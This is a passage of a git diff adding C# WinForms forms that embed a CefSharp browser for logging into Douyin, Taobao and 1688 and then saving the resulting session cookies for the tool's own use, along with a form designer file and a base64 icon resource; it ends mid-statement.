this.btnIsLogin.Margin = new System.Windows.Forms.Padding(2); + this.btnIsLogin.Name = "btnIsLogin"; + this.btnIsLogin.Size = new System.Drawing.Size(66, 26); + this.btnIsLogin.TabIndex = 374; + this.btnIsLogin.Text = "已登录"; + this.btnIsLogin.UseVisualStyleBackColor = false; + this.btnIsLogin.Click += new System.EventHandler(this.btnIsLogin_Click); + // + // DouUserLoginForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(1440, 900); + this.Controls.Add(this.panel2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "DouUserLoginForm"; + this.Text = "登录抖音"; + this.TitleText = "登录抖音"; + this.Load += new System.EventHandler(this.DouUserLogin_Load); + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.TextBox textBox1; + private UserControls.ButtonEx btnIsLogin; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/DouUserLoginForm.cs b/TEMUKJD/KJDForms/ToolForms/DouUserLoginForm.cs new file mode 100644 index 0000000..af32c40 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/DouUserLoginForm.cs @@ -0,0 +1,83 @@ +using CefSharp.WinForms; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.CefHelper; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + public partial class DouUserLoginForm : LRBaseForm + { + string url = "https://creator.douyin.com/"; + ChromiumWebBrowser cefWebBrowser = null; + + public DouUserLoginForm() + { + InitializeComponent(); + } + + public DouUserLoginForm(string _url) + { + InitializeComponent(); + + this.url = _url; //"https://buyin.jinritemai.com/mpa/account/login?log_out=1&type=24"; + } + + private void DouUserLogin_Load(object sender, EventArgs e) + { + InitCef(); + } + + private void InitCef() + { + this.cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser(this.url, false); + this.cefWebBrowser.FrameLoadEnd += ChromiumWebBrowser_FrameLoadEnd; + this.cefWebBrowser.AddressChanged += CefWebBrowser_AddressChanged; + this.splitContainer1.Panel2.Controls.Clear(); + this.splitContainer1.Panel2.Controls.Add(this.cefWebBrowser); + this.cefWebBrowser.Dock = DockStyle.Fill; + if (!string.IsNullOrEmpty(AllBase.Helper.GlobalConfig.DouUserCookies) && this.url.Contains("creator.douyin.com")) + { + var t = CEFBrowser.SetCookieAsync(AllBase.Helper.GlobalConfig.DouUserCookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + t.Wait(5000); + } + + this.btnIsLogin.BringToFront(); + } + + private void CefWebBrowser_AddressChanged(object sender, CefSharp.AddressChangedEventArgs e) + { + Invoke(new Action(() => + { + this.textBox1.Text = e.Address; + })); + } + + private void ChromiumWebBrowser_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + + } + + private void btnIsLogin_Click(object sender, EventArgs e) + { + if (this.url.Contains("creator.douyin.com")) + { + AllBase.Helper.GlobalConfig.DouUserCookies = CEFBrowser.GetCookie("", cefWebBrowser.RequestContext.GetCookieManager(null)); + StartUp.SaveDouUserCookies(); + } + else if (this.url.Contains("buyin.jinritemai.com")) + { + AllBase.Helper.GlobalConfig.DouBuyinCookies = CEFBrowser.GetCookie("", cefWebBrowser.RequestContext.GetCookieManager(null)); + StartUp.SaveDouBuyinCookies(); + } + this.Close(); + } + } +} diff --git a/TEMUKJD/KJDForms/ToolForms/DouUserLoginForm.resx b/TEMUKJD/KJDForms/ToolForms/DouUserLoginForm.resx new file mode 100644 index 0000000..381c754 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/DouUserLoginForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQagAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/IeForm.cs b/TEMUKJD/KJDForms/ToolForms/IeForm.cs new file mode 100644 index 0000000..e14778c --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/IeForm.cs @@ -0,0 +1,148 @@ +using System; +using System.Drawing; +using System.Threading; +using System.Windows.Forms; +using AllBase; +using CefSharp; +using CefSharp.WinForms; +using DevComponents.DotNetBar; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.CefHelper; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + public partial class IeForm : LRBaseForm + { + public string Url { get; set; } + public ChromiumWebBrowser cefWebBrowser; + public static IeForm ieFormInstance = null; + + public IeForm() + { + InitializeComponent(); + + if (ieFormInstance != null && ieFormInstance.Created) + { + ieFormInstance.Close(); + ieFormInstance.Dispose(); + } + ieFormInstance = this; + } + + public IeForm(string _url) + { + Url = _url; + InitializeComponent(); + + if (ieFormInstance != null && ieFormInstance.Created) + { + ieFormInstance.Close(); + ieFormInstance.Dispose(); + } + ieFormInstance = this; + } + + private void IeForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + Iconx = Icon = BaseClass.Ico; + if (string.IsNullOrEmpty(Url)) + { + Url = "https://login.taobao.com/member/login.jhtml?style=mini&newMini2=true&redirectURL=https://i.taobao.com/my_taobao.htm"; + this.Width = 401; + this.Height = 428; + } + else + { + Location = new Point(330, 220); + TitleText = Text = "账号登录"; + this.Width = 1250; + this.Height = 686; + } + + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser(Url); + cefWebBrowser.AutoSize = true; + cefWebBrowser.Dock = DockStyle.Fill; + //cefWebBrowser.RequestContext = new RequestContext(requestContextSettings); + cefWebBrowser.KeyboardHandler = new CefKeyboardHandler(); + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + panel2.Controls.Add(cefWebBrowser); + + TitleText = BaseClass.ToolName; + + cefWebBrowser.AddressChanged += CefWebBrowser_AddressChanged; + } + + private void CefWebBrowser_AddressChanged(object sender, AddressChangedEventArgs e) + { + var url = e.Address; + Invoke(new Action(() => + { + txtUrl.Text = url; + })); + } + + private void CefWebBrowser_FrameLoadEnd(object sender, FrameLoadEndEventArgs e) + { + if (!cefWebBrowser.IsBrowserInitialized) return; + + ChromeCookiesTaoBao = GetCookies(); + ChromeCookies1688 = GetCookies("1688.com"); + } + + public string GetCookies(string domain = "taobao.com") + { + if (cefWebBrowser != null) + { + var cookie = CEFBrowser.GetCookie(domain); + return cookie; + } + return ""; + } + + private void btnGoTo_Click(object sender, EventArgs e) + { + var cookies = this.GetCookies(); + } + + public static string ChromeCookiesTaoBao { get; set; } + public static string ChromeCookies1688 { get; set; } + } + + internal class CefKeyboardHandler : IKeyboardHandler + { + public bool OnKeyEvent(IWebBrowser browserControl, IBrowser browser, KeyType type, int windowsKeyCode, int nativeKeyCode, CefEventFlags modifiers, bool isSystemKey) + { + if (type == KeyType.KeyUp && Enum.IsDefined(typeof(Keys), windowsKeyCode)) + { + var key = (Keys)windowsKeyCode; + switch (key) + { + case Keys.F12: + browser.ShowDevTools(); + break; + + case Keys.F5: + + if (modifiers == 